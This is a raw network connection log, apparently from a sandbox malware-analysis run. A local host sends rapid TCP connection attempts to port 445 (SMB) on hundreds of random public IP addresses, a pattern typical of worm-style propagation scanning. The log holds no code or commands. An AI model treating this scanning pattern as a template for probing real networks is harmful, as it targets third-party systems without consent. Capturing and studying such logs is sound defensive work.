Jul 20, 2022 09:11:37.685471058 CEST	445	62973	109.121.0.158	192.168.2.6
Jul 20, 2022 09:11:37.848380089 CEST	63003	445	192.168.2.6	185.147.213.55
Jul 20, 2022 09:11:37.848407984 CEST	63004	445	192.168.2.6	18.119.139.52
Jul 20, 2022 09:11:38.035875082 CEST	63013	445	192.168.2.6	216.211.70.38
Jul 20, 2022 09:11:38.036580086 CEST	63026	445	192.168.2.6	163.42.247.82
Jul 20, 2022 09:11:38.036756992 CEST	63029	445	192.168.2.6	55.54.115.200
Jul 20, 2022 09:11:38.036856890 CEST	63031	445	192.168.2.6	109.238.13.95
Jul 20, 2022 09:11:38.036984921 CEST	63032	445	192.168.2.6	62.22.194.147
Jul 20, 2022 09:11:38.037123919 CEST	63034	445	192.168.2.6	49.70.156.163
Jul 20, 2022 09:11:38.037215948 CEST	63036	445	192.168.2.6	60.247.16.125
Jul 20, 2022 09:11:38.037220955 CEST	63037	445	192.168.2.6	18.158.70.234
Jul 20, 2022 09:11:38.037473917 CEST	63040	445	192.168.2.6	211.187.244.199
Jul 20, 2022 09:11:38.037597895 CEST	63042	445	192.168.2.6	131.213.142.183
Jul 20, 2022 09:11:38.037899017 CEST	63047	445	192.168.2.6	174.158.86.161
Jul 20, 2022 09:11:38.038072109 CEST	63050	445	192.168.2.6	56.0.174.119
Jul 20, 2022 09:11:38.038451910 CEST	63057	445	192.168.2.6	126.34.1.241
Jul 20, 2022 09:11:38.038614988 CEST	63060	445	192.168.2.6	4.222.193.143
Jul 20, 2022 09:11:38.039033890 CEST	63066	445	192.168.2.6	2.229.235.31
Jul 20, 2022 09:11:38.039462090 CEST	63068	445	192.168.2.6	95.130.28.214
Jul 20, 2022 09:11:38.039513111 CEST	63069	445	192.168.2.6	94.186.36.108
Jul 20, 2022 09:11:38.040271997 CEST	63078	445	192.168.2.6	58.238.185.158
Jul 20, 2022 09:11:38.040410042 CEST	63080	445	192.168.2.6	156.173.177.1
Jul 20, 2022 09:11:38.040591955 CEST	63081	445	192.168.2.6	93.93.167.101
Jul 20, 2022 09:11:38.040640116 CEST	63082	445	192.168.2.6	56.164.157.214
Jul 20, 2022 09:11:38.065041065 CEST	445	63066	2.229.235.31	192.168.2.6
Jul 20, 2022 09:11:38.082694054 CEST	63090	445	192.168.2.6	82.173.79.178
Jul 20, 2022 09:11:38.082920074 CEST	63095	445	192.168.2.6	194.61.47.91
Jul 20, 2022 09:11:38.083055019 CEST	63097	445	192.168.2.6	152.43.174.34
Jul 20, 2022 09:11:38.083584070 CEST	63108	445	192.168.2.6	53.222.4.214
Jul 20, 2022 09:11:38.083717108 CEST	63111	445	192.168.2.6	38.224.254.246
Jul 20, 2022 09:11:38.083930016 CEST	63115	445	192.168.2.6	185.226.239.217
Jul 20, 2022 09:11:38.084053040 CEST	63118	445	192.168.2.6	186.190.91.210
Jul 20, 2022 09:11:38.255181074 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:38.483014107 CEST	445	63121	201.187.246.7	192.168.2.6
Jul 20, 2022 09:11:38.483123064 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:38.483664036 CEST	63122	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:38.566395044 CEST	63066	445	192.168.2.6	2.229.235.31
Jul 20, 2022 09:11:38.593199015 CEST	445	63066	2.229.235.31	192.168.2.6
Jul 20, 2022 09:11:38.911221981 CEST	63124	445	192.168.2.6	18.119.139.53
Jul 20, 2022 09:11:38.911524057 CEST	63125	445	192.168.2.6	185.147.213.56
Jul 20, 2022 09:11:39.144552946 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:39.160793066 CEST	63132	445	192.168.2.6	145.38.98.45
Jul 20, 2022 09:11:39.160793066 CEST	63133	445	192.168.2.6	215.25.42.1
Jul 20, 2022 09:11:39.160976887 CEST	63135	445	192.168.2.6	80.120.63.75
Jul 20, 2022 09:11:39.161159992 CEST	63137	445	192.168.2.6	175.137.1.89
Jul 20, 2022 09:11:39.161267042 CEST	63138	445	192.168.2.6	164.155.75.169
Jul 20, 2022 09:11:39.161288977 CEST	63139	445	192.168.2.6	125.43.151.174
Jul 20, 2022 09:11:39.161541939 CEST	63142	445	192.168.2.6	141.107.7.171
Jul 20, 2022 09:11:39.161699057 CEST	63144	445	192.168.2.6	5.182.241.179
Jul 20, 2022 09:11:39.161767960 CEST	63145	445	192.168.2.6	82.65.15.29
Jul 20, 2022 09:11:39.162758112 CEST	63159	445	192.168.2.6	148.25.209.98
Jul 20, 2022 09:11:39.163218975 CEST	63166	445	192.168.2.6	190.48.146.105
Jul 20, 2022 09:11:39.163646936 CEST	63172	445	192.168.2.6	19.167.177.78
Jul 20, 2022 09:11:39.163794994 CEST	63173	445	192.168.2.6	119.86.47.11
Jul 20, 2022 09:11:39.163959980 CEST	63176	445	192.168.2.6	141.248.125.32
Jul 20, 2022 09:11:39.164566040 CEST	63186	445	192.168.2.6	46.131.120.116
Jul 20, 2022 09:11:39.164717913 CEST	63187	445	192.168.2.6	65.220.30.31
Jul 20, 2022 09:11:39.164771080 CEST	63188	445	192.168.2.6	74.216.1.95
Jul 20, 2022 09:11:39.165031910 CEST	63193	445	192.168.2.6	202.187.94.248
Jul 20, 2022 09:11:39.165457964 CEST	63202	445	192.168.2.6	209.173.0.81
Jul 20, 2022 09:11:39.165819883 CEST	63208	445	192.168.2.6	54.179.147.48
Jul 20, 2022 09:11:39.165872097 CEST	63185	445	192.168.2.6	216.191.81.32
Jul 20, 2022 09:11:39.192372084 CEST	63213	445	192.168.2.6	146.39.52.179
Jul 20, 2022 09:11:39.192636013 CEST	63218	445	192.168.2.6	170.11.189.232
Jul 20, 2022 09:11:39.192677021 CEST	63219	445	192.168.2.6	64.205.99.246
Jul 20, 2022 09:11:39.193440914 CEST	63233	445	192.168.2.6	122.236.16.183
Jul 20, 2022 09:11:39.193547010 CEST	63235	445	192.168.2.6	213.155.177.73
Jul 20, 2022 09:11:39.193785906 CEST	63239	445	192.168.2.6	136.132.243.207
Jul 20, 2022 09:11:39.193931103 CEST	63241	445	192.168.2.6	13.194.241.112
Jul 20, 2022 09:11:39.247744083 CEST	445	63235	213.155.177.73	192.168.2.6
Jul 20, 2022 09:11:39.361361027 CEST	445	63138	164.155.75.169	192.168.2.6
Jul 20, 2022 09:11:39.691467047 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:39.753979921 CEST	63235	445	192.168.2.6	213.155.177.73
Jul 20, 2022 09:11:39.808785915 CEST	445	63235	213.155.177.73	192.168.2.6
Jul 20, 2022 09:11:39.863430023 CEST	63138	445	192.168.2.6	164.155.75.169
Jul 20, 2022 09:11:39.973436117 CEST	63246	445	192.168.2.6	18.119.139.54
Jul 20, 2022 09:11:39.973660946 CEST	63247	445	192.168.2.6	185.147.213.57
Jul 20, 2022 09:11:40.064672947 CEST	445	63138	164.155.75.169	192.168.2.6
Jul 20, 2022 09:11:40.286026001 CEST	63254	445	192.168.2.6	202.75.79.159
Jul 20, 2022 09:11:40.286540031 CEST	63258	445	192.168.2.6	83.108.150.14
Jul 20, 2022 09:11:40.286988020 CEST	63268	445	192.168.2.6	92.188.3.124
Jul 20, 2022 09:11:40.287316084 CEST	63274	445	192.168.2.6	69.113.5.11
Jul 20, 2022 09:11:40.287852049 CEST	63283	445	192.168.2.6	54.56.106.70
Jul 20, 2022 09:11:40.288182020 CEST	63290	445	192.168.2.6	38.95.224.112
Jul 20, 2022 09:11:40.288450003 CEST	63295	445	192.168.2.6	77.217.116.205
Jul 20, 2022 09:11:40.288703918 CEST	63299	445	192.168.2.6	51.197.54.92
Jul 20, 2022 09:11:40.288791895 CEST	63300	445	192.168.2.6	107.0.215.198
Jul 20, 2022 09:11:40.289263964 CEST	63309	445	192.168.2.6	30.224.53.124
Jul 20, 2022 09:11:40.289278984 CEST	63310	445	192.168.2.6	175.103.219.97
Jul 20, 2022 09:11:40.289419889 CEST	63311	445	192.168.2.6	33.4.82.47
Jul 20, 2022 09:11:40.289486885 CEST	63312	445	192.168.2.6	202.117.26.250
Jul 20, 2022 09:11:40.289571047 CEST	63313	445	192.168.2.6	147.241.47.167
Jul 20, 2022 09:11:40.289710045 CEST	63315	445	192.168.2.6	180.130.88.61
Jul 20, 2022 09:11:40.289825916 CEST	63317	445	192.168.2.6	165.127.9.198
Jul 20, 2022 09:11:40.289841890 CEST	63318	445	192.168.2.6	119.214.154.184
Jul 20, 2022 09:11:40.289971113 CEST	63319	445	192.168.2.6	179.22.14.121
Jul 20, 2022 09:11:40.290105104 CEST	63322	445	192.168.2.6	178.196.14.221
Jul 20, 2022 09:11:40.290260077 CEST	63324	445	192.168.2.6	212.227.214.38
Jul 20, 2022 09:11:40.290332079 CEST	63325	445	192.168.2.6	190.243.212.67
Jul 20, 2022 09:11:40.302083015 CEST	63346	445	192.168.2.6	153.8.150.97
Jul 20, 2022 09:11:40.302243948 CEST	63348	445	192.168.2.6	223.93.248.221
Jul 20, 2022 09:11:40.302472115 CEST	63352	445	192.168.2.6	7.15.114.204
Jul 20, 2022 09:11:40.302720070 CEST	63356	445	192.168.2.6	122.178.146.218
Jul 20, 2022 09:11:40.302860022 CEST	63358	445	192.168.2.6	207.9.224.22
Jul 20, 2022 09:11:40.303086042 CEST	63361	445	192.168.2.6	108.48.211.221
Jul 20, 2022 09:11:40.303212881 CEST	63363	445	192.168.2.6	216.160.38.12
Jul 20, 2022 09:11:40.597810984 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:41.035307884 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:41.051601887 CEST	63368	445	192.168.2.6	18.119.139.55
Jul 20, 2022 09:11:41.051723957 CEST	63369	445	192.168.2.6	185.147.213.58
Jul 20, 2022 09:11:41.395735979 CEST	63379	445	192.168.2.6	186.207.104.90
Jul 20, 2022 09:11:41.396389961 CEST	63390	445	192.168.2.6	41.118.3.146
Jul 20, 2022 09:11:41.396662951 CEST	63395	445	192.168.2.6	211.76.191.167
Jul 20, 2022 09:11:41.396962881 CEST	63400	445	192.168.2.6	96.98.1.235
Jul 20, 2022 09:11:41.397322893 CEST	63405	445	192.168.2.6	119.131.71.219
Jul 20, 2022 09:11:41.397469044 CEST	63407	445	192.168.2.6	51.156.14.104
Jul 20, 2022 09:11:41.397970915 CEST	63415	445	192.168.2.6	113.150.76.168
Jul 20, 2022 09:11:41.397990942 CEST	63416	445	192.168.2.6	158.4.231.239
Jul 20, 2022 09:11:41.398211956 CEST	63417	445	192.168.2.6	46.15.97.203
Jul 20, 2022 09:11:41.398233891 CEST	63418	445	192.168.2.6	123.195.178.183
Jul 20, 2022 09:11:41.398411036 CEST	63420	445	192.168.2.6	203.99.112.219
Jul 20, 2022 09:11:41.398583889 CEST	63422	445	192.168.2.6	103.32.241.74
Jul 20, 2022 09:11:41.398644924 CEST	63423	445	192.168.2.6	52.66.102.171
Jul 20, 2022 09:11:41.398763895 CEST	63424	445	192.168.2.6	134.51.224.193
Jul 20, 2022 09:11:41.398782015 CEST	63425	445	192.168.2.6	34.216.41.193
Jul 20, 2022 09:11:41.399053097 CEST	63428	445	192.168.2.6	10.218.126.222
Jul 20, 2022 09:11:41.399179935 CEST	63430	445	192.168.2.6	101.201.183.253
Jul 20, 2022 09:11:41.399241924 CEST	63431	445	192.168.2.6	96.229.61.135
Jul 20, 2022 09:11:41.399719954 CEST	63437	445	192.168.2.6	42.165.166.30
Jul 20, 2022 09:11:41.400012016 CEST	63442	445	192.168.2.6	119.252.111.41
Jul 20, 2022 09:11:41.400468111 CEST	63451	445	192.168.2.6	69.116.1.56
Jul 20, 2022 09:11:41.427233934 CEST	63467	445	192.168.2.6	5.14.249.18
Jul 20, 2022 09:11:41.427582979 CEST	63470	445	192.168.2.6	160.248.247.183
Jul 20, 2022 09:11:41.427870035 CEST	63474	445	192.168.2.6	218.103.79.160
Jul 20, 2022 09:11:41.428025007 CEST	63476	445	192.168.2.6	218.112.16.81
Jul 20, 2022 09:11:41.428313017 CEST	63480	445	192.168.2.6	22.54.215.1
Jul 20, 2022 09:11:41.428534985 CEST	63484	445	192.168.2.6	149.80.86.13
Jul 20, 2022 09:11:41.428595066 CEST	63485	445	192.168.2.6	9.27.103.95
Jul 20, 2022 09:11:41.488502979 CEST	63122	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:41.600876093 CEST	445	63420	203.99.112.219	192.168.2.6
Jul 20, 2022 09:11:42.113574028 CEST	63420	445	192.168.2.6	203.99.112.219
Jul 20, 2022 09:11:42.115386009 CEST	63491	445	192.168.2.6	185.147.213.59
Jul 20, 2022 09:11:42.115545988 CEST	63492	445	192.168.2.6	18.119.139.56
Jul 20, 2022 09:11:42.315289021 CEST	445	63420	203.99.112.219	192.168.2.6
Jul 20, 2022 09:11:42.521651983 CEST	63505	445	192.168.2.6	210.115.114.19
Jul 20, 2022 09:11:42.521956921 CEST	63509	445	192.168.2.6	66.88.130.164
Jul 20, 2022 09:11:42.522515059 CEST	63519	445	192.168.2.6	163.65.212.159
Jul 20, 2022 09:11:42.522731066 CEST	63522	445	192.168.2.6	185.98.119.127
Jul 20, 2022 09:11:42.522883892 CEST	63524	445	192.168.2.6	110.101.159.96
Jul 20, 2022 09:11:42.522896051 CEST	63525	445	192.168.2.6	8.147.148.37
Jul 20, 2022 09:11:42.523180962 CEST	63528	445	192.168.2.6	78.106.79.95
Jul 20, 2022 09:11:42.523637056 CEST	63537	445	192.168.2.6	165.76.195.11
Jul 20, 2022 09:11:42.523783922 CEST	63538	445	192.168.2.6	94.24.170.110
Jul 20, 2022 09:11:42.524151087 CEST	63545	445	192.168.2.6	185.28.121.45
Jul 20, 2022 09:11:42.524252892 CEST	63546	445	192.168.2.6	79.129.212.88
Jul 20, 2022 09:11:42.524310112 CEST	63547	445	192.168.2.6	79.9.45.193
Jul 20, 2022 09:11:42.524414062 CEST	63548	445	192.168.2.6	31.218.173.176
Jul 20, 2022 09:11:42.524573088 CEST	63550	445	192.168.2.6	95.2.34.209
Jul 20, 2022 09:11:42.524599075 CEST	63551	445	192.168.2.6	131.49.162.126
Jul 20, 2022 09:11:42.524744034 CEST	63552	445	192.168.2.6	65.55.186.148
Jul 20, 2022 09:11:42.524885893 CEST	63554	445	192.168.2.6	215.64.132.171
Jul 20, 2022 09:11:42.524916887 CEST	63555	445	192.168.2.6	176.150.162.72
Jul 20, 2022 09:11:42.525588989 CEST	63566	445	192.168.2.6	7.243.45.93
Jul 20, 2022 09:11:42.525859118 CEST	63571	445	192.168.2.6	98.130.56.125
Jul 20, 2022 09:11:42.526108027 CEST	63575	445	192.168.2.6	79.176.158.213
Jul 20, 2022 09:11:42.536062002 CEST	63579	445	192.168.2.6	43.207.149.157
Jul 20, 2022 09:11:42.536299944 CEST	63581	445	192.168.2.6	20.126.197.203
Jul 20, 2022 09:11:42.536640882 CEST	63587	445	192.168.2.6	104.205.235.72
Jul 20, 2022 09:11:42.536807060 CEST	63590	445	192.168.2.6	49.126.75.39
Jul 20, 2022 09:11:42.536853075 CEST	63591	445	192.168.2.6	185.246.40.129
Jul 20, 2022 09:11:42.537511110 CEST	63604	445	192.168.2.6	44.234.201.137
Jul 20, 2022 09:11:42.537627935 CEST	63607	445	192.168.2.6	137.215.83.56
Jul 20, 2022 09:11:43.192956924 CEST	63614	445	192.168.2.6	185.147.213.60
Jul 20, 2022 09:11:43.192965984 CEST	63613	445	192.168.2.6	18.119.139.57
Jul 20, 2022 09:11:43.629910946 CEST	63623	445	192.168.2.6	75.201.55.26
Jul 20, 2022 09:11:43.629913092 CEST	63622	445	192.168.2.6	11.209.178.96
Jul 20, 2022 09:11:43.630513906 CEST	63631	445	192.168.2.6	121.98.43.234
Jul 20, 2022 09:11:43.630677938 CEST	63634	445	192.168.2.6	156.160.108.208
Jul 20, 2022 09:11:43.630810976 CEST	63636	445	192.168.2.6	53.213.7.159
Jul 20, 2022 09:11:43.631015062 CEST	63639	445	192.168.2.6	142.70.149.202
Jul 20, 2022 09:11:43.631180048 CEST	63642	445	192.168.2.6	109.248.56.144
Jul 20, 2022 09:11:43.631434917 CEST	63646	445	192.168.2.6	158.144.183.15
Jul 20, 2022 09:11:43.631877899 CEST	63653	445	192.168.2.6	42.55.235.161
Jul 20, 2022 09:11:43.632222891 CEST	63658	445	192.168.2.6	15.132.2.28
Jul 20, 2022 09:11:43.632347107 CEST	63660	445	192.168.2.6	207.53.104.195
Jul 20, 2022 09:11:43.632386923 CEST	63661	445	192.168.2.6	150.86.62.204
Jul 20, 2022 09:11:43.633362055 CEST	63672	445	192.168.2.6	141.9.165.120
Jul 20, 2022 09:11:43.633646965 CEST	63677	445	192.168.2.6	43.124.28.86
Jul 20, 2022 09:11:43.633843899 CEST	63681	445	192.168.2.6	71.134.82.176
Jul 20, 2022 09:11:43.634077072 CEST	63685	445	192.168.2.6	144.146.142.173
Jul 20, 2022 09:11:43.634212017 CEST	63686	445	192.168.2.6	205.79.114.109
Jul 20, 2022 09:11:43.634241104 CEST	63687	445	192.168.2.6	208.177.135.66
Jul 20, 2022 09:11:43.634428024 CEST	63689	445	192.168.2.6	69.236.184.235
Jul 20, 2022 09:11:43.634476900 CEST	63690	445	192.168.2.6	66.251.81.232
Jul 20, 2022 09:11:43.634721041 CEST	63693	445	192.168.2.6	186.8.94.53
Jul 20, 2022 09:11:43.646334887 CEST	63704	445	192.168.2.6	115.43.203.163
Jul 20, 2022 09:11:43.646552086 CEST	63707	445	192.168.2.6	76.60.32.188
Jul 20, 2022 09:11:43.646873951 CEST	63712	445	192.168.2.6	4.218.247.189
Jul 20, 2022 09:11:43.647026062 CEST	63714	445	192.168.2.6	220.156.34.59
Jul 20, 2022 09:11:43.647066116 CEST	63715	445	192.168.2.6	206.117.184.156
Jul 20, 2022 09:11:43.647821903 CEST	63729	445	192.168.2.6	107.18.37.201
Jul 20, 2022 09:11:43.647944927 CEST	63730	445	192.168.2.6	163.43.147.176
Jul 20, 2022 09:11:43.708105087 CEST	63121	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:44.270488024 CEST	63737	445	192.168.2.6	18.119.139.58
Jul 20, 2022 09:11:44.270495892 CEST	63738	445	192.168.2.6	185.147.213.61
Jul 20, 2022 09:11:44.755172014 CEST	63751	445	192.168.2.6	186.153.125.145
Jul 20, 2022 09:11:44.755259991 CEST	63752	445	192.168.2.6	116.137.101.83
Jul 20, 2022 09:11:44.755331039 CEST	63753	445	192.168.2.6	202.24.119.125
Jul 20, 2022 09:11:44.755851984 CEST	63764	445	192.168.2.6	180.186.120.115
Jul 20, 2022 09:11:44.756083012 CEST	63769	445	192.168.2.6	198.9.150.68
Jul 20, 2022 09:11:44.756323099 CEST	63773	445	192.168.2.6	223.44.79.214
Jul 20, 2022 09:11:44.756442070 CEST	63776	445	192.168.2.6	196.239.49.140
Jul 20, 2022 09:11:44.756561995 CEST	63778	445	192.168.2.6	100.6.107.230
Jul 20, 2022 09:11:44.756647110 CEST	63779	445	192.168.2.6	141.61.39.187
Jul 20, 2022 09:11:44.756685972 CEST	63780	445	192.168.2.6	115.186.33.231
Jul 20, 2022 09:11:44.756791115 CEST	63782	445	192.168.2.6	186.182.211.47
Jul 20, 2022 09:11:44.756993055 CEST	63786	445	192.168.2.6	37.236.220.85
Jul 20, 2022 09:11:44.757293940 CEST	63791	445	192.168.2.6	139.105.228.164
Jul 20, 2022 09:11:44.757694960 CEST	63797	445	192.168.2.6	109.0.201.81
Jul 20, 2022 09:11:44.758040905 CEST	63803	445	192.168.2.6	65.157.58.212
Jul 20, 2022 09:11:44.758291006 CEST	63805	445	192.168.2.6	138.93.80.91
Jul 20, 2022 09:11:44.758338928 CEST	63806	445	192.168.2.6	27.220.84.219
Jul 20, 2022 09:11:44.758754015 CEST	63814	445	192.168.2.6	86.63.235.102
Jul 20, 2022 09:11:44.758877039 CEST	63816	445	192.168.2.6	180.27.184.191
Jul 20, 2022 09:11:44.758961916 CEST	63818	445	192.168.2.6	187.143.105.95
Jul 20, 2022 09:11:44.759135962 CEST	63820	445	192.168.2.6	221.54.241.190
Jul 20, 2022 09:11:44.771076918 CEST	63826	445	192.168.2.6	2.36.67.119
Jul 20, 2022 09:11:44.771156073 CEST	63828	445	192.168.2.6	220.22.162.82
Jul 20, 2022 09:11:44.771794081 CEST	63841	445	192.168.2.6	200.203.199.219
Jul 20, 2022 09:11:44.771841049 CEST	63842	445	192.168.2.6	221.25.253.144
Jul 20, 2022 09:11:44.771919966 CEST	63843	445	192.168.2.6	61.215.220.190
Jul 20, 2022 09:11:44.772416115 CEST	63848	445	192.168.2.6	115.244.1.184
Jul 20, 2022 09:11:44.772578955 CEST	63851	445	192.168.2.6	109.144.8.230
Jul 20, 2022 09:11:44.831057072 CEST	445	60660	193.28.167.22	192.168.2.6
Jul 20, 2022 09:11:45.348938942 CEST	63861	445	192.168.2.6	18.119.139.59
Jul 20, 2022 09:11:45.348952055 CEST	63862	445	192.168.2.6	185.147.213.62
Jul 20, 2022 09:11:45.880111933 CEST	63871	445	192.168.2.6	188.239.254.174
Jul 20, 2022 09:11:45.880315065 CEST	63875	445	192.168.2.6	81.215.107.208
Jul 20, 2022 09:11:45.880630970 CEST	63882	445	192.168.2.6	186.95.91.120
Jul 20, 2022 09:11:45.880937099 CEST	63890	445	192.168.2.6	197.37.9.52
Jul 20, 2022 09:11:45.881016016 CEST	63891	445	192.168.2.6	193.78.223.54
Jul 20, 2022 09:11:45.881135941 CEST	63893	445	192.168.2.6	103.184.48.128
Jul 20, 2022 09:11:45.881490946 CEST	63902	445	192.168.2.6	25.249.249.112
Jul 20, 2022 09:11:45.881786108 CEST	63909	445	192.168.2.6	26.47.200.244
Jul 20, 2022 09:11:45.881856918 CEST	63911	445	192.168.2.6	198.36.176.150
Jul 20, 2022 09:11:45.881887913 CEST	63912	445	192.168.2.6	29.55.228.55
Jul 20, 2022 09:11:45.882265091 CEST	63921	445	192.168.2.6	132.210.248.29
Jul 20, 2022 09:11:45.882359028 CEST	63922	445	192.168.2.6	38.78.185.70
Jul 20, 2022 09:11:45.882458925 CEST	63924	445	192.168.2.6	176.200.146.25
Jul 20, 2022 09:11:45.882637024 CEST	63928	445	192.168.2.6	115.243.208.199
Jul 20, 2022 09:11:45.882859945 CEST	63929	445	192.168.2.6	123.72.148.231
Jul 20, 2022 09:11:45.883136988 CEST	63935	445	192.168.2.6	58.207.70.50
Jul 20, 2022 09:11:45.883263111 CEST	63938	445	192.168.2.6	119.105.145.173
Jul 20, 2022 09:11:45.883349895 CEST	63940	445	192.168.2.6	69.102.55.220
Jul 20, 2022 09:11:45.883368969 CEST	63941	445	192.168.2.6	209.125.195.216
Jul 20, 2022 09:11:45.883480072 CEST	63942	445	192.168.2.6	5.204.52.122
Jul 20, 2022 09:11:45.883847952 CEST	63943	445	192.168.2.6	10.245.61.142
Jul 20, 2022 09:11:45.895889044 CEST	63952	445	192.168.2.6	202.127.124.178
Jul 20, 2022 09:11:45.896071911 CEST	63953	445	192.168.2.6	163.111.16.47
Jul 20, 2022 09:11:45.896548033 CEST	63967	445	192.168.2.6	153.137.89.37
Jul 20, 2022 09:11:45.896555901 CEST	63966	445	192.168.2.6	137.66.202.68
Jul 20, 2022 09:11:45.896692038 CEST	63969	445	192.168.2.6	158.47.47.145
Jul 20, 2022 09:11:45.896958113 CEST	63974	445	192.168.2.6	98.70.171.160
Jul 20, 2022 09:11:45.897092104 CEST	63977	445	192.168.2.6	133.161.57.45
Jul 20, 2022 09:11:45.990360975 CEST	445	63890	197.37.9.52	192.168.2.6
Jul 20, 2022 09:11:46.411681890 CEST	63986	445	192.168.2.6	185.147.213.63
Jul 20, 2022 09:11:46.411824942 CEST	63987	445	192.168.2.6	18.119.139.60
Jul 20, 2022 09:11:46.504569054 CEST	63890	445	192.168.2.6	197.37.9.52
Jul 20, 2022 09:11:46.613387108 CEST	445	63890	197.37.9.52	192.168.2.6
Jul 20, 2022 09:11:46.989741087 CEST	63998	445	192.168.2.6	70.219.147.87
Jul 20, 2022 09:11:46.989839077 CEST	64000	445	192.168.2.6	167.214.62.42
Jul 20, 2022 09:11:46.990370989 CEST	64010	445	192.168.2.6	107.70.128.193
Jul 20, 2022 09:11:46.990777016 CEST	64018	445	192.168.2.6	84.65.42.212
Jul 20, 2022 09:11:46.990783930 CEST	64017	445	192.168.2.6	215.39.206.250
Jul 20, 2022 09:11:46.990911961 CEST	64019	445	192.168.2.6	159.201.123.29
Jul 20, 2022 09:11:46.991384983 CEST	64027	445	192.168.2.6	65.18.182.53
Jul 20, 2022 09:11:46.991633892 CEST	64031	445	192.168.2.6	213.117.209.51
Jul 20, 2022 09:11:46.991647005 CEST	64030	445	192.168.2.6	119.186.220.49
Jul 20, 2022 09:11:46.992053986 CEST	64036	445	192.168.2.6	52.191.188.7
Jul 20, 2022 09:11:46.992470980 CEST	64043	445	192.168.2.6	174.140.153.193
Jul 20, 2022 09:11:46.992697954 CEST	64046	445	192.168.2.6	151.60.78.24
Jul 20, 2022 09:11:46.992727041 CEST	64047	445	192.168.2.6	210.105.71.64
Jul 20, 2022 09:11:46.992877007 CEST	64049	445	192.168.2.6	196.95.31.192
Jul 20, 2022 09:11:46.992892027 CEST	64048	445	192.168.2.6	137.174.210.179
Jul 20, 2022 09:11:46.993108988 CEST	64051	445	192.168.2.6	54.184.221.224
Jul 20, 2022 09:11:46.993689060 CEST	64057	445	192.168.2.6	57.147.27.153
Jul 20, 2022 09:11:46.993787050 CEST	64058	445	192.168.2.6	116.134.143.0
Jul 20, 2022 09:11:46.994370937 CEST	64065	445	192.168.2.6	99.86.80.177
Jul 20, 2022 09:11:46.994894028 CEST	64072	445	192.168.2.6	141.57.63.177
Jul 20, 2022 09:11:47.006032944 CEST	64075	445	192.168.2.6	194.1.148.203
Jul 20, 2022 09:11:47.006128073 CEST	64076	445	192.168.2.6	109.46.179.32
Jul 20, 2022 09:11:47.006619930 CEST	64081	445	192.168.2.6	170.107.184.227
Jul 20, 2022 09:11:47.006928921 CEST	64084	445	192.168.2.6	151.105.221.154
Jul 20, 2022 09:11:47.007062912 CEST	64085	445	192.168.2.6	59.223.128.35
Jul 20, 2022 09:11:47.008136988 CEST	64098	445	192.168.2.6	168.235.205.154
Jul 20, 2022 09:11:47.008197069 CEST	64099	445	192.168.2.6	70.15.188.0
Jul 20, 2022 09:11:47.489046097 CEST	63122	445	192.168.2.6	201.187.246.7
Jul 20, 2022 09:11:47.489391088 CEST	64110	445	192.168.2.6	185.147.213.64
Jul 20, 2022 09:11:47.489912987 CEST	64112	445	192.168.2.6	18.119.139.61
Jul 20, 2022 09:11:47.864135027 CEST	62526	445	192.168.2.6	155.101.152.3
Jul 20, 2022 09:11:47.927620888 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:48.076376915 CEST	445	64120	155.101.152.4	192.168.2.6
Jul 20, 2022 09:11:48.076500893 CEST	64120	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:48.076889992 CEST	64121	445	192.168.2.6	155.101.152.4
Jul 20, 2022 09:11:48.114782095 CEST	64126	445	192.168.2.6	135.229.161.38
Jul 20, 2022 09:11:48.115544081 CEST	64131	445	192.168.2.6	94.157.82.135
Jul 20, 2022 09:11:48.115638018 CEST	64132	445	192.168.2.6	8.97.160.87
Jul 20, 2022 09:11:48.116094112 CEST	64141	445	192.168.2.6	51.51.65.111
Jul 20, 2022 09:11:48.116178036 CEST	64143	445	192.168.2.6	101.42.120.224
Jul 20, 2022 09:11:48.116251945 CEST	64144	445	192.168.2.6	211.194.86.157
Jul 20, 2022 09:11:48.116403103 CEST	64146	445	192.168.2.6	8.183.143.203
Jul 20, 2022 09:11:48.116584063 CEST	64149	445	192.168.2.6	30.191.82.230
Jul 20, 2022 09:11:48.116892099 CEST	64156	445	192.168.2.6	195.121.98.192
Jul 20, 2022 09:11:48.117077112 CEST	64159	445	192.168.2.6	194.101.223.9
Jul 20, 2022 09:11:48.117129087 CEST	64160	445	192.168.2.6	135.237.225.150
Jul 20, 2022 09:11:48.117208004 CEST	64161	445	192.168.2.6	51.246.18.174
Jul 20, 2022 09:11:48.117300987 CEST	64163	445	192.168.2.6	4.181.156.132
Jul 20, 2022 09:11:48.117685080 CEST	64162	445	192.168.2.6	113.100.123.238
Jul 20, 2022 09:11:48.117686033 CEST	64170	445	192.168.2.6	198.195.117.150
Jul 20, 2022 09:11:48.117799044 CEST	64172	445	192.168.2.6	198.4.185.156
Jul 20, 2022 09:11:48.118097067 CEST	64178	445	192.168.2.6	169.185.232.236
Jul 20, 2022 09:11:48.118396044 CEST	64184	445	192.168.2.6	35.78.158.52
Jul 20, 2022 09:11:48.118634939 CEST	64189	445	192.168.2.6	218.79.128.98
Jul 20, 2022 09:11:48.118685961 CEST	64190	445	192.168.2.6	17.25.122.15
Jul 20, 2022 09:11:48.119201899 CEST	64201	445	192.168.2.6	31.105.20.136
Jul 20, 2022 09:11:48.130418062 CEST	64208	445	192.168.2.6	5.208.28.147
Jul 20, 2022 09:11:48.130515099 CEST	64210	445	192.168.2.6	139.43.119.130
Jul 20, 2022 09:11:48.131016970 CEST	64222	445	192.168.2.6	211.219.13.83
Jul 20, 2022 09:11:48.131138086 CEST	64224	445	192.168.2.6	177.155.30.131
Jul 20, 2022 09:11:48.131360054 CEST	64228	445	192.168.2.6	157.47.143.24
Jul 20, 2022 09:11:48.131546021 CEST	64232	445	192.168.2.6	55.249.143.18
Jul 20, 2022 09:11:48.131582975 CEST	64233	445	192.168.2.6	175.143.47.130
Jul 20, 2022 09:11:48.223826885 CEST	445	64121	155.101.152.4	192.168.2.6
